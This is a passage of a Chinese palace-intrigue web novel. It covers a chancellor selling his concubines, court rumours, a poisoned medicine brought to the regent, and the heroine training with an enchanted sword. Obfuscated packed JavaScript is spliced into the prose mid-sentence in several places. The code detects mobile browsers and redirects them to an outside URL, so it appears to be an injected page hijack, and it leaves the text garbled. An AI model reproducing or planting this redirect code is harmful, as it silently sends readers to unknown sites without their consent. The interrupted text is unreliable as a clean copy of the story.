“张妈妈,借一步说话。” 两人躲到无人处,司叔支支吾吾半天,才道出此行目的。 “什么?”张妈妈险些失声叫出来,“宰相老爷要处置府中侍妾?” “嘘!”司叔连忙示意她小声,“此事万万不可声张。” 张妈妈眼珠转了转,心中已有了计较:“这些姑娘既是做过人的,价钱自然比不得从前。一个三百两,已是给足了面子。” “三百两?”司叔气得胡子直翘,“当初可是五千两一个买的!” “那能一样吗?”张妈妈撇嘴,手指在算盘上拨弄着,“现在清白姑娘也不过五十两一个。再说了,这些姑娘在府上也住了好些年,吃穿用度都是最好的,这般优待,三百两已是极高的价钱了。” 司叔还想争辩,可想到府中窘境,只得咬牙应下:“那...要卖几个?” “二十个。” 这下轮到张妈妈傻眼了。她原以为不过两三个,谁知竟是要清仓大甩卖。可话已说出,也不好反悔。张妈妈暗自盘算着要多久才能回本,心疼得直抽抽。 “司管家,”她压低声音,“这事我得和东家商量商量。” “事不宜迟,今晚就得办妥。”司叔神色焦急,“老爷吩咐了,一定要快。” 张妈妈见他如此着急,心中更添几分疑虑。但丞相府的生意她不敢不做,只得应下。 当晚,一队马车悄悄停在丞相府后门。二十个小妾披着斗篷,低着头上了马车。 第二天一早,整个京城都传遍了:丞相府竟因家道中落,卖小妾度日! 茶楼酒肆中,食客们议论纷纷。 “听说了吗?丞相府昨晚把小妾都卖了!” “真的假的?堂堂一品丞相,怎会做出这等事来?” “千真万确!我表弟就住在丞相府附近,亲眼看见好几辆马车半夜出府!” “啧啧,这丞相府怕是真的败落了。” 流言蜚语如野火般蔓延,很快传遍了整个京城。 街边的茶摊上,几个茶客正凑在一起窃窃私语。一个身着青衫的男子端着茶碗,压低了声音:“你们可听说了?丞相府出大事了!” “什么大事?”对面的食客顿时来了兴致,身子不由自主地前倾。 “丞相大人把府上所有的小妾都给卖了!这会儿正往碧玉阁押送呢!”青衫男子眼中闪着兴奋的光芒,“我方才还在街上看见了,十几个小妾,一个个哭得梨花带雨。” “嘶——”茶客们倒吸一口凉气,面面相觑。 “这事当真?”一个灰衣老者皱眉问道,“丞相府向来体面,怎会做出这等有失颜面的事来?” “千真万确!”青衫男子用力点头,“不光是卖小妾,听说府里这段时间怪事不断。先是府中女眷接连毁容,后来又发生诡异失窃案,连老太君都被吓得昏迷不醒。” 茶客们议论纷纷,有人忽然想起什么,压低声音道:“我听说,这一切都是从柳大小姐死而复生开始的......” 话音未落,一阵冷风突然吹过,茶客们不由打了个寒颤,纷纷噤声。 与此同时,城中其他达官贵人家的小妾们也都惶惶不安。丞相府的事情传开后,她们生怕自家大人也会效仿,整日战战兢兢,连走路都放轻了脚步。 长乐宫内,皇后正慵懒地倚在软塌上,听卢嬷嬷说着外面的传闻。宫女们轻手轻脚地伺候在一旁,生怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505503|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打扰了主子说话。 “娘娘,这事千真万确。”卢嬷嬷年过半百,满头银发,说话时不时用帕子擦擦额头的汗,“先是丞相府诡异失窃,接着老太君被吓得昏迷不醒,现在又卖掉所有小妾......” 皇后轻轻摇着手中的团扇。她想起当年那件事,柳丞相在抄家时私吞了大量财物,只上报了一小部分。那时皇上念在他立功,也就睁一只眼闭一只眼。如今看来,这报应来得倒是不慢。 “卢嬷嬷,”皇后的声音轻柔悦耳,“你可知道外面还有什么传言?” 卢嬷嬷凑近了些,压低声音道:“回娘娘,最离奇的是说,这一切都是从柳大小姐死而复生后开始的。先是府中女眷接连毁容,后是诡异失窃,连丞相大人都......” “都如何?”皇后挑了挑眉。 “都在朝堂上当众放屁,还流口水,狠狠挨了皇上的打骂处罚。”卢嬷嬷说着,自己都觉得不可思议。 皇后忍俊不禁,玉手掩唇轻笑:“当真如此荒唐?” “千真万确!”卢嬷嬷连连点头,“司公公亲口所说,那日朝堂上臭气熏天,连皇上都震怒了。” 皇后收起笑容,放下团扇:“既如此,傲儿与那柳府二小姐的婚事,怕是要重新考虑了。” “娘娘英明!”卢嬷嬷立刻应和,“那柳二小姐如今又毁了容,哪配得上三皇子?况且丞相府现在......”她欲言又止。 “本宫已为傲儿选好了正妃人选。”皇后唇角勾起一抹满意的弧度,“秦帝师的嫡孙女秦玉华,才貌双全,门第相当。” 正说着,外面传来急促的脚步声。一个小宫女跑进来,跪地禀报:“娘娘,司公公已经把赐婚圣旨送到秦府了!” 皇后露出满意的笑容,“很好,待观星台选好日子,就让他们完婚。” 秦府内,刚刚接过圣旨的秦帝师喜不自禁。他的孙女即将成为三皇子妃,这是何等的荣耀?老爷子捋着胡须,眼中满是得意。 马车缓缓驶离秦府大门,司公公迫不及待地展开手中的银票,原本喜滋滋的神情瞬间凝固。他抿了抿嘴,眼中闪过一丝不悦,将银票翻来覆去地查看。 “才五百两?”司公公轻哼一声,“柳丞相当初可是给了一千两呢。” 这般一对比,手中的银票顿时失去了诱人的光泽。司公公将银票收入袖中。 第三十八章 准备嫁妆 秦府内,秦玉华站在庭院中,微风拂过,带起她鬓角的碎发。 “华儿,”秦帝师笑容可掬地走来,眼中满是慈爱,“圣旨已下,皇上已命观星台选定良辰吉日。你父亲和母亲已经开始准备嫁妆了。” 秦玉华抬眸,眼中闪过一丝复杂,随即又恢复平静:“多谢祖父。”声音平淡,听不出半分喜悦。 待秦帝师和秦父离开后,庭院重归寂静。秦玉华环顾四周,确认无人,这才转向身边的小丫鬟。她的目光变得锐利,声音压得极低:“那些话都传出去了吗?” 小丫鬟低头应道:“回小姐,奴婢已经按吩咐办妥了。各个茶楼酒肆,甚至是青楼勾栏,都已经有人在传播那些话了。” 秦玉华唇角勾起一抹冷笑。自从得知柳府变故,她就暗中散布谣言,说什么摄政王的未来王妃是灾星,娶了柳大小姐必定灾祸连连。她要让摄政王陷入两难:若杀了柳映雪,便落下克妻的名声;若退婚,又要沦为笑柄。 想到那晚偷听到祖父所说的“凤女之相”,秦玉华眼中闪过一丝嘲讽。若真有什么凤命,柳府又怎会沦落到卖小妾的地步? 庭院深处的花架下,一片花瓣轻轻飘落,秦玉华伸手接住,随即用力捏碎。她望着手心的碎片,眼神渐渐变得阴冷。 三皇子府中,书房内烛火摇曳。三皇子正与澄世子对坐饮茶,茶香袅袅,却掩不住谈话的**味。 “三哥,”澄世子放下茶盏,神色凝重,“柳丞相已经穷到把小妾卖到碧玉阁了,娶个侍妾要花费三百银子。我已让人核实过了,确实是柳府的人亲自送去的。” 三皇子手指轻叩桌面,眼中闪过一丝讥诮:“青云国开国以来,第一个卖小妾的大臣。若传到邻国,还以为我朝穷得连大臣都要卖妾了。” “三哥,自从柳大小姐回府,柳府就怪事不断。”澄世子皱眉道,“虽说她与大夫人搬去清溪居,但这些事总觉得与她脱不了干系。” 你别瞎琢磨了吧?”三皇子端起茶盏,轻啜一口,“探子不是说她一直在养病吗?” “属下总觉得蹊跷,还需再查。”澄世子眼中闪过一丝执着。 话锋一转,澄世子道:“恭喜三哥得皇上赐婚,秦玉华为正妃。” 三皇子淡淡一笑,并未多言。 “听说柳二小姐毁容了,满脸脓包。”澄世子继续道。 “本想靠柳府的财力,现在看来是不必了。”三皇子语气中带着嫌恶,“改日让母后找由头退了这门亲事。” “三哥,太尉府的司马大小姐对你甚是倾心...” 三皇子打断他的话,“你也该考虑成亲了。” 澄世子眼中笑意顿失,神色变得凝重:“三哥知道,我心中自有人选。” “都过去十多年了,你还记着那个只有三岁的小姑娘?”三皇子摇头,“连她叫什么都不知道,又如何找得到?” “此事我意已决。”澄世子的声音坚定,眼中闪过一丝执着。 夜色渐深,摄政王府书房内灯火通明。萧寒瑾正在批阅文书,案几上的烛火映照着他俊美的侧颜。 “王爷,属下查到华神医近半年的行踪。”绿风躬身递上密信。 萧寒瑾展开信笺,眉头渐渐紧蹙:“他为何与南安国有牵连?” 话音未落,绿竹在门外轻声禀报:“王爷,华神医送药来了,想为您请脉。” “把药端进来。”萧寒瑾眼中闪过一丝精光,“告诉他本王正忙,请脉之事免了。” 绿竹小心翼翼地端着药碗进来,见王爷要接过药碗,连忙惊呼:“王爷不可!” “谁说本王要喝了?”萧寒瑾将药碗放在一旁。 这碗药,他得尽快送去清溪居让小王妃看看。 想到华神医,萧寒瑾嘴角微微上扬。这老头倒是意外给了他一个去见小王妃的由头,暂且留他几日也无妨。不过这药中的异常,倒是让他更加确定了一些事。 绿竹探头进来时,正好看到王爷若有所思的模样。他总觉得方才王爷端药时,眼中闪过一丝笑意。但转念一想,这怎么可能?定是自己看花了眼。 绿风站在一旁,看着绿竹那副傻愣愣的模样,忍不住翻了个白眼。这事儿一眼就能看明白,他居然还看不出来。王爷这些日子三天两头往清溪居跑,这还不够明显吗? “绿风。”萧寒瑾放下手中的信件,声音低沉,带着不容置疑的威严,“查清楚华神医为何突然与南安国有了往来。另外,暗中探查皇上是否与他有什么交易。” “是,王爷。” “记住,一切小心行事,不可打草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505504|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊蛇。这件事只许你一人知晓。” “属下明白。” 绿风领命,却没有立即退下。他欲言又止地看着萧寒瑾,眼中闪过一丝犹豫。 “还有事?”萧寒瑾抬眼,锐利的目光让绿风不自觉地后退了半步。 “王爷,外头...有些传言...”绿风往后退了一步,声音越发低沉,“是关于未来王妃的。” 萧寒瑾手上的动作顿了顿,眸光陡然转冷,周身散发出一股令人心悸的寒意,“说。” 绿风将外头那些说柳映雪是灾星的流言一五一十地说了。有人说她克**亲生父母,又害得养父母家破人亡。还有人说她命格特殊,会给司王府带来灾祸。 话音刚落,整个房间的温度仿佛骤降了几分。绿风甚至能感觉到一股无形的压力正在逼近。 “清溪居那边可有听闻?”萧寒瑾的声音里带着刺骨的寒意。 “回王爷,这是今日才传出的谣言,应该...应该还未传到清溪居。”绿风擦了擦额头的冷汗,“属下已经派人严加防范,绝不会让这些谣言传到清溪居去。” “查到是谁在散播谣言了?” “是太傅府大小姐的丫鬟。”绿风道。“太傅府的人?”萧寒瑾冷笑一声,眼中闪过一丝杀意,“看在秦帝师曾辅佐先皇的份上,本王饶她一命。但若这些谣言传到雪儿耳中...” 他沉吟片刻,修长的手指轻轻叩击着桌面,“去找观星台郭大人的徒弟,让他选在一年之后的良辰吉日。另外,警告秦家那位大小姐,今日之内必须澄清谣言。若再有下次,就让她去静云寺为国运祈福吧。” “王爷,良辰吉日这事...” “陛下究竟最忌惮什么,你应该清楚。”萧寒瑾意味深长地看了绿风一眼。 绿风眼前一亮,立刻明白了王爷的用意。三皇子与秦家的婚事若是拖延太久,必定会惹得皇上不快。到时候,秦家自然会吃不了兜着走。 “小的马上就照办。” “就选在明年雪日。”萧寒瑾补充道,“记住,要选个风雪交加的日子。” 待绿风退下,萧寒瑾想起丞相府书房被洗劫一事,嘴角勾起一抹若有似无的笑意。那日他派去的暗卫亲眼看到小王妃从丞相府离开,身手矫健,显然不是普通人。 第三十九章 沉浸剑法 与此同时,清溪居中。 “小姐,您怎么没穿披风?”青莲一见柳映雪下了马车,连忙取来披风给她披上。初雪的寒风中,她单薄的身影显得格外娇弱。 “是啊,外头这么冷,紫薇和川花是怎么照顾小姐的?”梅枝也埋怨道,一边帮着整理披风的衣襟。 柳映雪无奈地笑了笑。这几个丫头,真是跟她娘亲一个样,总把她当孩子般呵护。她轻轻拍了拍两个丫头的手,示意她们不必太过担心。 “紫薇和川花从今日起会留在柳川习武。”她打量着两个丫鬟的表情,眼中带着几分调侃,“你们不想学?” “小姐,奴婢这身子骨,实在不适合习武。”青莲连连摇头,一想到要舞刀弄枪就浑身发软。 “奴婢只爱绣花做针线,对舞刀弄剑没什么兴趣。”梅枝也道,脸上露出几分嫌弃的表情。 “那你们就留在我身边吧。”柳映雪看了看她们单薄的身形,确实不太适合习武。这两个丫头从小就跟在她身边,性子温婉,更适合做些针线活计。 刚到门口就见着站着的小丫,小姑娘冻得瑟瑟发抖,却还强撑着笔直的站姿。 见到柳映雪,小丫立刻打起精神,福身行礼:“大小姐。” 柳映雪停下脚步,仔细打量着这个瘦小的身影。小丫的脸冻得通红。这般年纪,本该是最娇嫩的时候,却要在这寒风中苦苦煎熬。 “小丫,这么冷的天,你去厢房暖和暖和吧。”柳映雪柔声说道,语气中带着几分心疼。 小丫连忙摆手,挤出一个勉强的笑容:“大小姐,奴婢不冷的。夫人吩咐过,要奴婢好好守着门。” “你看看你的手,都冻成什么样子了。”柳映雪蹙眉,伸手轻轻碰了碰小丫的手背,触手一片冰凉,“这哪里是不冷?” 就在这时,朱氏的贴身丫鬟柳晓从屋内走出,向柳映雪行礼。柳映雪立即吩咐道:“带小丫去厢房,让梅枝拿些冻疮膏来。以后没什么要紧事,就不必在外面站着了。” 小丫闻言,眼眶一红,扑通跪下:“多谢大小姐恩典!” “快起来。”柳映雪扶起她,“别跪着了,地上凉。去暖和暖和吧。” 推开房门,扑面而来的暖意让柳映雪舒服地叹了口气。地龙烧得正旺,屋内暖洋洋的。 “雪儿来了。”朱氏笑着招手,眼中满是慈爱。 柳映雪刚要开口,目光却被屋内堆着的大箱子吸引。足足五个大箱子整齐地摆在一旁,每个箱子都有半人多高。 “这是孙掌柜送来的补品。”朱氏笑眯眯地说,“我留一箱,其他都是你的。” 柳映雪看着那满满四箱补品,心头一暖。她太了解自己的母亲了,要不是自己坚持,娘亲怕是连这一箱都舍不得留下。 “娘,您留三箱吧,我一个人哪里用得了这么多?”柳映雪走到朱氏身边,轻轻握住她的手。 朱氏却摇头:“傻孩子,你一个人在外面,更要好好补着。这些都是上好的补品,你带着慢慢吃。” 柳映雪还想说什么,朱氏又指着一旁摆放的布料:“来看看这些料子。年节宴会你得好好打扮,可不能让人小瞧了去。” 柳映雪看着那一匹匹名贵的锦缎,头都大了。有暗纹绣金的云锦,有轻薄如蝉翼的纱罗,还有价值连城的云锦。每一匹都是难得一见的珍品,光是这些布料,怕是就要花去不少银子。 “娘,我的亲事早就不由我做主,不用这么隆重的。”柳映雪无奈地说。 “胡说!”朱氏立刻反驳,“我的女儿怎么能输给那些所谓的四美?这些料子每样都给你做一身。” 柳映雪看着母亲坚持的模样,只好应下。她知道娘亲是疼她,可这么多华服,她真的用不上。 “梅枝的绣活不错,让她来做吧。”柳映雪试图转移话题。 “好,我再派两个丫头帮忙。”朱氏点头,又补充道,“对了,头面我也让人打造了,金银玉各一套。” 柳映雪闻言,几乎要哭出来:“娘,能不戴吗?” “那怎么行?”朱氏笑着摸了摸女儿的脸,“我的女儿,就该是最耀眼的那个。” 看着母亲期待的眼神,柳映雪只好点头。 “对了,雪儿。”朱氏忽然正色道,“最近府里有些风言风语,你要多加小心。” 柳映雪心头一紧:“娘说的是什么风言风语?” “都说......”朱氏欲言又止,“都说你不该得这门亲事。” 柳映雪沉默片刻,轻声道:“娘不必担心,我心里有数。” “你这孩子,从小就懂事。”朱氏叹了口气,“可越是这样,娘越是心疼。你说你这样的性子,怎么就摊上这样的事呢?” 柳映雪安慰道:“娘,您别想那么多。女儿不是还有您吗?” “是啊,还有娘。”朱氏拉着女儿的手,眼中闪过一丝担忧,“可娘能护你到几时呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505505|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳映雪心中一酸,却强撑着笑容:“娘,时候不早了,您该歇息了。” 回到自己的院子,柳映雪遣退了所有丫鬟后,瞬间穿越到异次元。 眼前是一片开阔的草地。 她在草地中央盘膝而坐,手中捧着赤凰剑的**秘籍。 赤凰剑在她身旁悠然飘浮,剑身散发出淡淡的红光。 它似乎对这片空间充满了好奇,时而上下翻飞,时而左右游走,剑尖轻点草尖,留下一串晶莹的露珠。 “你倒是活泼。”柳映雪抬头看了眼在空中打转的赤凰剑,嘴角不自觉地扬起一抹笑意。。 待她将整本秘籍读完,悄然合上眼帘,脑海中浮现出一招一式的精妙变化。 剑法中蕴含的意境与她的心意不谋而合,仿佛这剑法就是为她量身打造的一般。 “赤凰剑,”柳映雪睁开眼,眸中闪过一丝狡黠,“来看看你到底有多厉害?若是让我失望,就让你尝尝我新研制的销骨散。” 赤凰剑似是被这句话吓到,啪嗒一声掉在地上,剑身微微颤抖。 “这就怕了?”柳映雪站起身,拍了拍衣裙上的草屑,“我得马上去取药。” 她转身作势要走,赤凰剑猛地腾空而起,剑鞘自动脱落,发出清脆的鸣响。柳映雪伸手一握,温润的剑柄恰好落入掌心,一股暖流顺着手臂蔓延全身。 剑身轻颤,传来阵阵共鸣,柳映雪深吸一口气,开始演练起赤凰剑法。 第一式“凤翔九天”,剑光如流水般倾泻而出。 第二式“烈焰焚天”,剑气纵横,似有火光闪烁。 第三式“浴火重生”,剑势回转,如凤凰展翅。 每一招都行云流水,每一式都浑然天成。渐渐地,柳映雪感觉自己的意识与赤凰剑融为一体,剑随心动,心随剑行。草地上留下道道剑痕,空气中似有火星飞舞。 汗水顺着她的脸颊滑落,但她浑然不觉。整个人沉浸在剑法的奥妙中,周身散发出淡淡的红光,与赤凰剑交相辉映。 最后一式收完,她轻轻一抛,赤凰剑稳稳落入剑鞘。空气中还残留着剑气的余韵,草叶轻颤,露珠滚落。 “难怪那么多人想得到你。”柳映雪看着又飘到身边的赤凰剑,眼中闪过一丝了然,“不过现在,你是我的了。” 赤凰剑泛起微红的光芒,剑身轻轻震动,似在回应她的话。它在空中划出一道弧线,最后稳稳地停在她身边。 第四十章 美食的诱惑 练完剑后,柳映雪浑身是汗,衣衫都被打湿了。 她让赤凰剑飘远些,自己走到空间中的小溪边。她褪去衣衫,跳入溪中。凉爽的水流冲走了疲惫,也带走了满身的汗水。远处的赤凰剑似乎知道该回避,一直保持着适当的距离。 出了空间,天色已晚。 她刚打开房门唤丫鬟送饭,就听说母亲来看过她。想到母亲担心的样子,她心中一暖,却又有些愧疚。 “小姐,夫人特意吩咐厨房准备了您爱吃的菜。”丫鬟端着食盒进来,将一道道菜肴摆上桌。 香气扑鼻而来,柳映雪正要动筷,突然感到一股强大的气息靠近。 她的手顿了顿,轻叹一声,这个人又来了。 窗外传来轻轻的敲击声,像是树枝刮蹭窗棂的声音,但柳映雪知道那是谁。她赶紧开窗,就见萧寒瑾站在窗外。 “你就不能走正门吗?”她压低声音抱怨,眉头微蹙。 萧寒瑾却只是定定地看着她,薄唇轻启:“雪儿。”声音低沉而温柔,仿佛能穿透人心。 柳映雪连忙捂住他的嘴,生怕被外面的丫鬟听见。掌心传来温热的触感,她这才意识到自己的举动有多亲密,赶紧收回手,脸颊泛起一抹红晕。 “快进来吧。”她侧身让开,心跳不知为何加快了几分。 萧寒瑾轻巧地跃入房内,目光落在满桌的饭菜上。。 “雪儿,一个人吃得完吗?”他的声音依旧低沉,却带着几分调侃。 “吃不完。”柳映雪下意识回答,随即又补充道,“要不你帮忙?”话一出口她就后悔了,这可是娘亲特意准备的。 她将碗筷递给萧寒瑾,迫不及待地开始用餐。 萧寒瑾坐在她身旁,目光始终追随着她的一举一动。烛光下,少女的侧脸柔美动人,一缕青丝从鬓角垂落,更添几分慵懒之态。他不动声色地为她夹起远处的菜肴,动作自然而温柔。 “你若是再这样盯着我看,我可就吃不下了。”柳映雪瞪了他一眼,语气里带着几分嗔怪。 萧寒瑾唇角微扬,“我只是担心你吃得太快,容易噎着。” “我自己的胃自己清楚。”柳映雪又瞪了他一眼,见这人油盐不进,索性由他去了。 房间里一时只剩下碗筷轻碰的声响。 “这鸡汤味道不错,要不要再来一碗?”萧寒瑾轻声问道,目光中带着几分关切。 柳映雪摇头,“比不上你府上厨子的手艺。”她放下筷子,轻轻擦了擦嘴角。 “那明日让府上厨子专门为你炖一锅,最近他还研创了几道新菜,整个京城独此一家。”萧寒瑾说着,为她添了一杯温热的茶水。 听到美食,柳映雪眼前一亮,但很快又犹豫起来。白天贸然前往摄政王府似乎不太合适,可若是晚上去,鸡汤怕是就不新鲜了。 “雪儿不必担心,”萧寒瑾仿佛看穿了她的心思,声音低沉而温柔,“我的府邸位置偏僻,你坐马车直接进府,无人会知晓。” 美食的诱惑最终战胜了顾虑,柳映雪点头答应,“那明日午时我去尝尝。”她的眼中闪过一丝期待。 “我让绿竹去接你。”萧寒瑾说着就要起身安排。 柳映雪连忙拦住他,“不必,我自己去就好,顺便还要去街上采买些东西。” 萧寒瑾眉头微蹙,“天寒地冻的,你要买什么,我让人送来便是。”他的声音里透着关切。 柳映雪忍不住白了他一眼,心道你大半夜翻窗也不怕冷。她抬头看着他,“我又不是瓷娃娃,这点冷算什么。” 看着她倔强的小模样,萧寒瑾轻笑,“那记得多穿些。”他的目光柔和,带着宠溺。 柳映雪这才满意地点头。她来到这个时代这么久,还没好好逛过街。况且她还需要准备银针,为制作“寒星暗雨”做准备。想到这里,她的眼中闪过一丝精光。 用餐结束,萧寒瑾递来手帕。 柳映雪接过擦拭,闻到淡淡檀香才意识到这是他的手帕。看到上面的油渍,她有些不好意思,脸颊微红。连忙从袖中取出自己的手帕,“给,暂时替换,等我把你的洗干净再还你。” “不必了,”萧寒瑾迅速将她的手帕收入袖中,眼中闪过一丝狡黠,“我觉得这块甚好。” 柳映雪愣了愣,总觉得这人是故意的。 “说吧,找我什么事?”她转移话题问道,“是解毒还是救人?” 萧寒瑾的表情突然变得严肃,他从袖中取出一碗药,递到她面前。药碗中的液体呈现出诡异的暗红色。 柳映雪仔细观察了一会,突然笑出声,“这药若是喝下去,三日之内必见阎王,下毒之人倒是性急。” “雪儿可知,按律法,无子嗣的王爷若死,王妃需陪葬。”萧寒瑾淡淡道,目光却紧紧盯着她的脸。 柳映雪的笑容瞬间凝固,手中的茶盏微微颤抖。“我们还未成婚。”她的声音有些发涩。 “只要赐婚圣旨一下,没错,你成为王妃已经板上钉钉。”萧寒瑾的声音依旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505506|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静,却让人感到一丝寒意。 “那我带着娘亲远走高飞!”柳映雪猛地站起身,眼中闪过一丝慌乱。 “你能保证娘亲一辈子颠沛流离?皇室追杀不会停止。”萧寒瑾的话如同一盆冷水,浇灭了她最后的希望。 柳映雪如遭雷击,重重地跌坐回椅子上。 她在心中盘算着各种可能:占山为王?会被剿匪。毒死皇帝自己当?太危险。逃到他国?也是这般制度。 “这该死的同命蛊......”她低声咒骂。 “反正我还没到及笄之年......”柳映雪喃喃自语,眼神逐渐变得坚定。时间还很充裕,这段日子,正好可以好好观察萧寒瑾是个什么样的人。 若萧寒瑾当真是个良人,倒也不失为一个不错的归宿。可若他品性有亏..... “到时候,就让整个皇室都尝尝我的**滋味。”她轻声说道,声音里带着一丝狠厉。 “想得这么入神?”一道低沉的男声突然在身后响起。 柳映雪暗自平复了一下心跳,走到桌前坐下。她盯着萧寒瑾的眼睛,语气不善:“你给我说实话,这药到底是谁给你的?” “华神医。”萧寒瑾的表情变得严肃,“就是那天晚上,绿竹执意要等的那位。” “哼,既然他都背叛你了,还留着他做什么?”柳映雪冷笑一声。 萧寒瑾的目光微微一沉,:“事情没那么简单。背后还有很多谜团需要解开。” 柳映雪若有所思地看了他一眼,从袖中取出一个精致的青瓷小瓶。她将瓶子推到萧寒瑾面前,嘴角勾起一抹意味深长的笑容。 “这是什么?”萧寒瑾挑眉。 “给你那位神医的"礼物"。”柳映雪说,“悄悄放在他的饭菜里,过几天你就知道效果了。” 萧寒瑾心中一动,最终将其收入袖中。 “要不要我派几个暗卫保护你?”萧寒瑾突然开口,声音里带着几分关切。 “不必。”柳映雪果断拒绝,她可不想被人发现自己的秘密。况且,她从小在药王谷长大,身边从来不缺保护。 “那好。”萧寒瑾也不强求,站起身整理了一下衣袍,“时候不早了,你早些休息。对了,明日的鸡汤,你喜欢清淡些的,还是咸一点的?” 柳映雪愣了一下,没想到他会问这么细致的问题。 “咸一点吧。”她轻声回答。 “好。”萧寒瑾点点头,“我在府上等你,记得带解药来。” 第四十一章 说完,萧寒瑾身形一闪,已经消失在夜色中。只留下一缕若有若无的檀香,证明他曾经来过。 柳映雪看着他消失的方向,若有所思。这个男人,总是能轻易地出现在她的房间,又悄无声息地离开。就像一阵风,捉摸不定。 她打了个哈欠,唤来守在外间的丫鬟收拾房间。看着丫鬟忙碌的身影,她的思绪又飘到了那个青瓷小瓶上。那药虽然不致命,但足以让那位神医吃些苦头了。 萧寒瑾回到司王府,立刻召来了绿竹。 “明日一早,让膳房炖鸡汤,再准备几道京城没有的美味。”他头也不回地吩咐道,“做得好,重重有赏。” 绿竹愣在原地,一时没反应过来。 “还不快去?”萧寒瑾转过身,目光中带着几分无奈。 “是!”绿竹慌忙转身,一个不小心撞在了门框上,发出“砰”的一声响。 门外的绿风看得直摇头。待绿竹揉着肩膀走出来,他才开口问道:“王爷刚才去见柳大小姐了?” “是啊。”绿竹继续揉着自己的肩膀,疼得龇牙咧嘴。 “所以明天柳大小姐要来府上?” “对...啊!”绿竹这才恍然大悟,一拍大腿,“难怪王爷要准备这么多吃食。” “你这脑子。”绿风嫌弃地看了他一眼,“还不快去安排?” 绿竹这才想起正事,一边揉着肩膀一边往膳房赶去。月光下,他的身影显得有些滑稽。 绿风看着他的背影,摇了摇头。自从柳大小姐出现后,王爷似乎变得不一样了。以前的王爷从不会过问膳食之事,如今却连汤的咸淡都要过问。 丞相大人趴在雕花楠木床榻上,却掩盖不住那股若有若无的异味。 “这一天一夜的放屁,简直要了老夫的命!”丞相大人喃喃自语,声音里带着几分虚弱。他小心翼翼地调整姿势,生怕牵动了某个部位。那里现在可是火辣辣的疼,仿佛被人用烙铁烫过一般。 司叔站在床边,手里端着一碗药汤。这些日子,府中上下都在私下议论相爷卖小妾的事,他到现在都不敢告诉主子。 “司叔,那碧玉阁给的银票呢?”丞相艰难地伸出手。 司叔连忙将那几张薄薄的银票递了过去,小心翼翼道:“相爷,这是碧玉阁的管事给的。” 丞相接过银票,手微微发抖。二十个如花似玉的小妾,居然只换来这点银子?这些钱连府中下人半月的月钱都发不出来。 想到这里,他气得面色发青,手中的银票被攥得皱巴巴的。 “这碧玉阁,真是黑心!”丞相大人怒吼。 话音未落,又是一阵腹部翻腾,他连忙咬紧牙关。 司叔见状,赶紧后退两步,假装整理衣袖。屋内的檀香似乎也失去了效用,一股难闻的气味弥漫开来。 “老奴去让人添香。”司叔找到借口,快步走向门口。 就在这时,一个小厮慌慌张张地冲了进来:“禀相爷,老太君昏睡一天两夜,至今未醒!” 丞相原本昏昏沉沉的眼睛突然亮了起来:“对啊!”他猛地坐直身子,随即又因为动作太大而倒吸一口冷气。 以老太君的性子,定会以孝道压迫大夫人朱氏回府。到时候,有朱氏那个富得流油的败家娘们管家,这府里的窘境不就解决了? 正想着美事,又是一阵腹痛袭来。丞相脸色瞬间变得惨白,豆大的汗珠顺着额头滑落。 “去,告诉府医,若叫不醒老太君,提头来见!”丞相咬牙切齿地说道。 司叔如蒙大赦,几乎是逃也似的冲出了房间。一路上,他都在庆幸自己躲过了这一劫。 老太君的院落里,气氛凝重得令人窒息。 府医赵大夫正愁眉苦脸地看着床上的老太君。床边的小几上摆满了各种药瓶,地上散落着用过的银针。他已经用尽了办法,甚至在老太君脚底扎满了银针,可老太君依旧睡得香甜。 “高府医,老太君的脚都出血了......”白嬷嬷看着那满是针眼的脚底,心疼得直抹眼泪。 “你懂什么!”高府医没好气地瞪了她一眼,又拿出一把银针,对准了老太君的手指。他的手微微发抖,额头上的汗珠不停滑落。 白嬷嬷看得心惊肉跳,可又不敢多言。她只能在一旁不停地念叨:“菩萨保佑,菩萨保佑......” 直到老太君的指缝间都插满了银针,高府医终于意识到不对劲。他颤抖着手收起银针,脸色煞白:“这、这是中邪了!” 与此同时,街市上一片热闹。 